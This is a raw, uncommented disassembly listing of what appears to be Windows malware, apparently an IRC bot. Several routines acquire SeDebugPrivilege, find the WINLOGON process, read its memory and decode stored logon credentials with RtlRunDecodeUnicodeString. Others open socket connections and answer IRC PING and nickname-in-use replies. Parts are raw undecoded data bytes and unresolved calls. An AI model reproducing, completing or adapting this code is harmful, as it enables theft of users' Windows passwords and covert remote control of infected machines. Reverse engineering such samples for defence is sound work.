		dd 8D147559h, 0FFFEEC85h, 0E5E850FFh, 59000042h, 0EB059C88h
		dd 8DFFFFFEh, 0FFFDE885h, 0DC6850FFh, 8D00437Fh, 0FFFB6485h
		dd 20068FFh, 0E8500000h, 4C60h,	3910C483h, 2075F85Dh, 64858D53h
		dd 0FFFFFFFBh, 8D50F475h, 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h
		dd 0FF2D2EE8h, 14C483FFh, 0FEEC858Dh, 5053FFFFh, 0FDE8858Dh
		dd 8D50FFFFh, 0FFFD6885h, 0F475FFFFh, 64B5FF50h, 0E8FFFFFDh
		dd 5Dh,	5018C483h, 0FB64858Dh, 0BC68FFFFh, 5000437Fh, 4B05E8h
		dd 0CC48300h, 75F85D39h, 858D5320h, 0FFFFFB64h,	50F475FFh
		dd 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h, 2CCDE8FFh, 0C483FFFFh
		dd 64858D14h, 50FFFFFBh, 0FFE3F8E8h, 0F075FFFFh, 0FF4656E8h
		dd 535959FFh, 923AE890h, 5E5F022Ch, 0EC8B555Bh,	54CEC81h
		dd 56530000h, 104BE57h,	75FF0000h, 0B8858D18h, 68FFFFFDh
		dd 438020h, 91E85056h, 8B00004Bh, 4270003Dh, 10C48300h
		dd 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh, 89FFF883h
		dd 0C4BBFC45h, 7400429Ah, 0BC85F671h, 10FFFFFEh, 0BD805474h
		dd 0FFFFFEE8h, 8012752Eh, 0FFFEE9BDh, 427400FFh, 0FEE9BD80h
		dd 742EFFFFh, 0E8858D39h, 50FFFFFEh, 0FCB4858Dh, 75FFFFFFh
		dd 50565318h, 4B2FE8h, 1C75FF00h, 0FCB4858Dh, 0FF50FFFFh
		dd 75FF1475h, 0C75FF10h, 0E80875FFh, 0FFFFFF5Dh, 892CC483h
		dd 858D1C45h, 0FFFFFEBCh, 0FC75FF50h, 946EE890h, 0C0850233h
		dd 75FF8F75h, 71E890FCh, 0FF023291h, 858D1475h,	0FFFFFDB8h
		dd 531875FFh, 0DDE85056h, 8300004Ah, 858D14C4h,	0FFFFFEBCh
		dd 0B8858D50h, 50FFFFFDh, 0F08BD7FFh, 74FFFE83h, 0E8858D4Fh
		dd 0FFFFFFFEh, 8D501C45h, 0FFFAB485h, 1875FFFFh, 43800468h
		dd 2006800h, 0E8500000h, 4AA0h,	858D016Ah, 0FFFFFAB4h
		dd 501075FFh, 0FF0C75FFh, 7CE80875h, 83FFFF2Bh,	858D28C4h
		dd 0FFFFFEBCh, 0E9E85650h, 90023393h, 0B175C085h, 0EDE89056h
		dd 8B023290h, 5E5F1C45h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1B	proc near		; DATA XREF: sub_401ACD+1CD0o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F5
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F5A
		cmp	eax, 2
		jz	short loc_416F5A
		push	offset unk_4381F8
		jmp	loc_417099
; ---------------------------------------------------------------------------


loc_416F5A:				; CODE XREF: sub_416F1B+2Ej
					; sub_416F1B+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417094
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26B0000h
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D44CC, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D44C0, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D46D0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D44C8, eax
		call	esi
		mov	dword_4D44C4, eax
		call	sub_4170ED
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417067
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D34C0
		push	edi
		push	ebx
		push	offset off_438134
		call	esi
		push	edi
		mov	edi, offset dword_4D3CC0
		push	edi
		push	offset off_43811C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D46D8
		push	[ebp+arg_0]
		jnz	short loc_417013
		call	sub_417276
		jmp	short loc_417018
; ---------------------------------------------------------------------------


loc_417013:				; CODE XREF: sub_416F1B+EFj
		call	sub_41741D


loc_417018:				; CODE XREF: sub_416F1B+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417060
		cmp	dword_4D46D8, 0
		jnz	short loc_417047
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4380C0
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_41707A
; ---------------------------------------------------------------------------


loc_417047:				; CODE XREF: sub_416F1B+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417057
		call	sub_417553
		jmp	short loc_41705C
; ---------------------------------------------------------------------------


loc_417057:				; CODE XREF: sub_416F1B+133j
		call	sub_4175EA


loc_41705C:				; CODE XREF: sub_416F1B+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706C
; ---------------------------------------------------------------------------


loc_417060:				; CODE XREF: sub_416F1B+101j
		push	offset unk_438088
		jmp	short loc_41706C
; ---------------------------------------------------------------------------


loc_417067:				; CODE XREF: sub_416F1B+B6j
		push	offset unk_43805C


loc_41706C:				; CODE XREF: sub_416F1B+143j
					; sub_416F1B+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41707A:				; CODE XREF: sub_416F1B+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 2780459h
		pop	ebx
		jmp	short loc_4170A7
; ---------------------------------------------------------------------------


loc_417094:				; CODE XREF: sub_416F1B+4Ej
		push	offset unk_438028


loc_417099:				; CODE XREF: sub_416F1B+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A7:				; CODE XREF: sub_416F1B+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CE
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A73
		add	esp, 14h


loc_4170CE:				; CODE XREF: sub_416F1B+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AD
		push	[ebp+var_18]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_416F1B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170ED	proc near		; CODE XREF: sub_416F1B+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D44CC
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D44CC
		test	eax, eax
		jnz	short loc_4171DA
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171DA
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171DA


loc_417176:				; CODE XREF: sub_4170ED+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CD
		push	0
		push	0
		call	dword_4D44C0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D46D0
		test	eax, eax
		jnz	short loc_4171BE
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F2


loc_4171BE:				; CODE XREF: sub_4170ED+AAj
		test	edi, edi
		jz	short loc_4171C9
		push	edi
		call	dword_4D44C8


loc_4171C9:				; CODE XREF: sub_4170ED+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CD:				; CODE XREF: sub_4170ED+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417176


loc_4171DA:				; CODE XREF: sub_4170ED+6Dj
					; sub_4170ED+7Aj ...
		xor	edi, edi


loc_4171DC:				; CODE XREF: sub_4170ED+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	eax, edi


loc_4171EA:				; CODE XREF: sub_4170ED+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F2:				; CODE XREF: sub_4170ED+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725B
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417208:				; CODE XREF: sub_4170ED+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726F
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724D
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724D:				; CODE XREF: sub_4170ED+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417208


loc_41725B:				; CODE XREF: sub_4170ED+10Fj
		test	edi, edi
		jz	short loc_417266
		push	edi
		call	dword_4D44C8


loc_417266:				; CODE XREF: sub_4170ED+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DC
; ---------------------------------------------------------------------------


loc_41726F:				; CODE XREF: sub_4170ED+13Cj
		xor	eax, eax
		jmp	loc_4171EA
sub_4170ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417276	proc near		; CODE XREF: sub_416F1B+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 2680289h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729F
		xor	eax, eax
		jmp	loc_41741A
; ---------------------------------------------------------------------------


loc_41729F:				; CODE XREF: sub_417276+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27B0000h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EF
		xor	esi, esi
		jmp	loc_41740D
; ---------------------------------------------------------------------------


loc_4172EF:				; CODE XREF: sub_417276+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	near ptr 27A0A40h
		nop
		test	eax, eax
		jz	loc_4173FC
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FC
		test	[ebp+var_2B], 1
		jnz	loc_4173FC
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FC


loc_417352:				; CODE XREF: sub_417276+112j
		push	edi
		push	offset dword_4D34C0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41737A
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D3CC0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41738A


loc_41737A:				; CODE XREF: sub_417276+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FC
		jmp	short loc_417352
; ---------------------------------------------------------------------------


loc_41738A:				; CODE XREF: sub_417276+102j
		test	edi, edi
		jz	short loc_4173FC
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2750000h
		test	eax, eax
		jz	short loc_4173C5
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2740991h
		test	eax, eax
		jz	short loc_4173C5
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C5:				; CODE XREF: sub_417276+12Bj
					; sub_417276+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D46E4, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D46DC, eax
		mov	dword_4D46E0, edi


loc_4173FC:				; CODE XREF: sub_417276+90j
					; sub_417276+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	esi, [ebp+var_10]


loc_41740D:				; CODE XREF: sub_417276+74j
		push	[ebp+var_4]
		call	near ptr 26608E3h
		nop
		pop	edi
		mov	eax, esi
		pop	ebx


loc_41741A:				; CODE XREF: sub_417276+24j
		pop	esi
		leave
		retn
sub_417276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741D	proc near		; CODE XREF: sub_416F1B:loc_417013p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 2680289h
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750F
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 27B0000h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417506
		mov	edi, dword_427148


loc_417468:				; CODE XREF: sub_41741D+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27A0A40h
		test	eax, eax
		jz	short loc_4174F4
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174FA
		test	[ebp+var_13], 1
		jnz	short loc_4174FA
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27A0D04h
		test	eax, eax
		jz	short loc_4174E6
		push	offset dword_4D34C0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E6
		lea	eax, [esi+400h]
		push	offset dword_4D3CC0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417516


loc_4174E6:				; CODE XREF: sub_41741D+9Fj
					; sub_41741D+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 2790000h
		jmp	short loc_4174FA
; ---------------------------------------------------------------------------


loc_4174F4:				; CODE XREF: sub_41741D+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174FA:				; CODE XREF: sub_41741D+71j
					; sub_41741D+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417468


loc_417506:				; CODE XREF: sub_41741D+3Fj
		push	[ebp+arg_0]
		call	near ptr 26608E3h
		nop


loc_41750F:				; CODE XREF: sub_41741D+1Ej
		xor	eax, eax


loc_417511:				; CODE XREF: sub_41741D+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417516:				; CODE XREF: sub_41741D+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D46DC, ebx
		mov	dword_4D46E0, eax
		cmp	[eax], cl
		jnz	short loc_417538
		cmp	[eax+1], cl
		jz	short loc_417540


loc_417538:				; CODE XREF: sub_41741D+114j
					; sub_41741D+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417538


loc_417540:				; CODE XREF: sub_41741D+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 26608E3h
		push	1
		pop	eax
		jmp	short loc_417511
sub_41741D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417553	proc near		; CODE XREF: sub_416F1B+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D46D8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	ecx, dword_4D46D8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D46E0
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D46E4
		push	eax
		call	dword_4D44C4
		push	[ebp+var_4]
		mov	edi, offset dword_4D44D0
		push	offset dword_4D34C0
		push	offset dword_4D3CC0
		push	[ebp+arg_0]
		push	offset dword_438244
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417553	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175EA	proc near		; CODE XREF: sub_416F1B:loc_417057p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D46D8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27A09CCh
		push	eax
		nop
		call	near ptr 27A0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D3CC0
		mov	edi, 200h
		mov	esi, offset dword_4D32C0


loc_417630:				; CODE XREF: sub_4175EA+FAj
		mov	eax, dword_4D46D8
		add	eax, eax
		push	eax
		push	dword_4D46E0
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D44C4
		mov	eax, dword_4D46D8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A5


loc_41766D:				; CODE XREF: sub_4175EA+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C2
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417691
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417691
		cmp	dl, 20h
		jnb	short loc_41768B
		and	[ebp+var_8], 0


loc_41768B:				; CODE XREF: sub_4175EA+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417695


loc_417691:				; CODE XREF: sub_4175EA+90j
					; sub_4175EA+96j
		and	[ebp+var_8], 0


loc_417695:				; CODE XREF: sub_4175EA+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766D
		cmp	[ebp+var_8], 0
		jz	short loc_4176C2


loc_4176A5:				; CODE XREF: sub_4175EA+81j
		push	[ebp+var_14]
		push	offset dword_4D34C0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438244
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176DA
; ---------------------------------------------------------------------------


loc_4176C2:				; CODE XREF: sub_4175EA+87j
					; sub_4175EA+B9j
		push	offset dword_4D34C0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438294
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176DA:				; CODE XREF: sub_4175EA+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_417630
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27A09CCh
		push	eax
		nop
		call	near ptr 2790000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417703	proc near		; CODE XREF: sub_4178BB+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB694
		cmp	eax, esi
		jnz	short loc_417764
		push	[ebp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jz	short loc_41777F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417764:				; CODE XREF: sub_417703+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5FC
		cmp	eax, esi
		jnz	short loc_417783
		push	edi
		call	dword_4CB6EC


loc_41777F:				; CODE XREF: sub_417703+1Bj
					; sub_417703+58j
		mov	eax, esi
		jmp	short loc_417785
; ---------------------------------------------------------------------------


loc_417783:				; CODE XREF: sub_417703+73j
		mov	eax, edi


loc_417785:				; CODE XREF: sub_417703+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417703	endp


; =============== S U B	R O U T	I N E =======================================



sub_417789	proc near		; CODE XREF: sub_401ACD+3295p
					; sub_401ACD+3301p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A0A0 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D46EC
		pop	ecx


loc_4177A1:				; CODE XREF: sub_417789+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BF
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BF
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CB6A4


loc_4177BF:				; CODE XREF: sub_417789+1Cj
					; sub_417789+21j
		add	esi, 210h
		cmp	esi, offset dword_4DAE0C
		jl	short loc_4177A1
		pop	edi
		pop	esi
		retn
sub_417789	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177D0	proc near		; CODE XREF: sub_4178BB+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42D124 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F5:				; CODE XREF: sub_4177D0+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F5
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781D
		cmp	esi, edi
		jnz	short loc_41781D
		push	1
		pop	eax
		jmp	loc_4178B6
; ---------------------------------------------------------------------------


loc_41781D:				; CODE XREF: sub_4177D0+3Fj
					; sub_4177D0+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417838
		push	offset dword_438EA4
		jmp	short loc_417886
; ---------------------------------------------------------------------------


loc_417838:				; CODE XREF: sub_4177D0+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417859
		push	esi
		push	offset dword_438EA0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B4


loc_417859:				; CODE XREF: sub_4177D0+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADE
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_438E94


loc_417886:				; CODE XREF: sub_4177D0+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4


loc_4178B4:				; CODE XREF: sub_4177D0+87j
		xor	eax, eax


loc_4178B6:				; CODE XREF: sub_4177D0+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
